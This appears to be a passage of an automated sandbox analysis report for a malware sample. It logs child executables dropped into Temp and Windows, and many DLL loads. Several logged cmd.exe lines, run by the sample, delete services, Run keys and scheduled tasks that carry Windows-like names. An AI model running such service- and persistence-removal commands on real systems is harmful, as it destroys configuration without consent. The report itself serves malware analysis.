Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\396820397.exe C:\Users\user\AppData\Local\Temp\396820397.exe
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinMngr" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinMngr" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinMngr"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinMngr" /f
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Process created: C:\Users\user\AppData\Local\Temp\230053364.exe C:\Users\user\AppData\Local\Temp\230053364.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Process created: C:\Windows\sysludpvs.exe C:\Windows\sysludpvs.exe	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Process created: C:\Users\user\AppData\Local\Temp\152942395.exe C:\Users\user\AppData\Local\Temp\152942395.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\634722489.exe C:\Users\user\AppData\Local\Temp\634722489.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\2052810334.exe C:\Users\user\AppData\Local\Temp\2052810334.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\417928448.exe C:\Users\user\AppData\Local\Temp\417928448.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\2047112978.exe C:\Users\user\AppData\Local\Temp\2047112978.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\399630275.exe C:\Users\user\AppData\Local\Temp\399630275.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\2028814805.exe C:\Users\user\AppData\Local\Temp\2028814805.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\393932919.exe C:\Users\user\AppData\Local\Temp\393932919.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\1216017805.exe C:\Users\user\AppData\Local\Temp\1216017805.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\38822795.exe C:\Users\user\AppData\Local\Temp\38822795.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\396820397.exe C:\Users\user\AppData\Local\Temp\396820397.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "Windows Services" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Windows Services" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" ""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "Windows Services" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Windows Services" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "Windows Services"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Windows Services" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinSrvcsDrv" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinSrvcsDrv"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinUpla" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpla" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinUpla"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpla" /f
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinSrvcsDrv" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinSrvcsDrv"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Service" /f
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Service"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Service" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Service"
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinDrvUpd" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinDrvUpd" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinDrvUpd"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinDrvUpd" /f
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Manager"
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinUpdt" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpdt" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinUpdt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpdt" /f
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinMngr" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinMngr" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinMngr"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinMngr" /f

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: wldp.dll
